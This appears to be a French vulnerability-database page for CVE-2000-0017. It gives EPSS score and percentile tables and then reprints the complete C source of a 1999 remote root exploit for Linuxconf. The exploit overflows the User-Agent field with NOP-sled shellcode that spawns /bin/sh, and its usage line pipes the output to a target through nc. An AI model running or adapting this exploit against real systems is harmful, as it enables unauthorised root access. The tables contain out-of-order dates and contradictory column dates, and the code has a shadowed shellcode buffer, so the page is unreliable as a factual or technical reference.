CVE-2000-0017 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	2.45%	–
2023-07-02	–	–	–	2.45%	–
2024-02-11	–	–	–	4.53%	–
2024-06-02	–	–	–	4.53%	–
2024-06-09	–	–	–	–	–
2024-06-09	–	–	–	4.53%	–
2024-12-22	–	–	–	4.53%	–
2025-02-16	–	–	–	4.53%	–
2025-01-19	–	–	–	4.53%	–
2025-02-16	–	–	–	4.53%	–
2025-03-18	–	–	–	–	3.11%
2025-03-30	–	–	–	–	2.98%
2025-03-30	–	–	–	–	2.98,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	88%
2023-07-02	89%
2024-02-11	92%
2024-06-02	92%
2024-06-09	93%
2024-06-09	93%
2024-12-22	92%
2025-02-16	93%
2025-01-19	92%
2025-02-16	93%
2025-03-18	86%
2025-03-30	85%
2025-03-30	85%

// source: https://www.securityfocus.com/bid/2352/info Linuxconf is a Linux configuration utility from Solucorp. An attacker supplying excess data to the USER_AGENT field in vulnerable versions of Linuxconf. This data can overflow the relevant buffer, creating a stack overflow and, properly exploited, allowing remote execution of arbitrary code as root. /* linuxconf exploit by R00T-X (c) 1999 USER_AGENT overflow x86 should work on all linux's but you need to have network access to linuxconf greetz to: j0e, AcidCrunCh, |420|, umm and everyone who knows me, heh :P have fun with this but for EDUCATIONAL PURPOSES :) Usage: (./linexp <offset>;cat)| nc targethost 98 */ char shell[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88" "\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e" "\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xe8\xc0\xff\xff\xff/bin/sh\x00"; #include <stdio.h> #include <stdlib.h> #include <limits.h> #include <string.h> #define BUFLEN 1025 #define NOP 0x90 void main (int argc, char *argv[]) { char buf[BUFLEN]; int offset,nop,i; unsigned long esp; char shell[1024+300]; if(argc < 2) { fprintf(stderr,"usage: (%s <offset>;cat)|nc host.com 98\n", argv[0]); exit(0); } nop = 511; esp = 0xefbfd5e8; offset = atoi(argv[1]); memset(buf, NOP, BUFLEN); memcpy(buf+(long)nop, shell, strlen(shell)); for (i = 256; i < BUFLEN - 3; i += 2) { *((int *) &buf[i]) = esp + (long) offset; shell[ sizeof(shell)-1 ] = 0; } printf("POST / HTTP/1.0\r\nContent-Length: %d, User-agent: \r\n", BUFLEN); for (i = 0; i < BUFLEN; i++) putchar(buf[i]); printf("\r\n"); return; }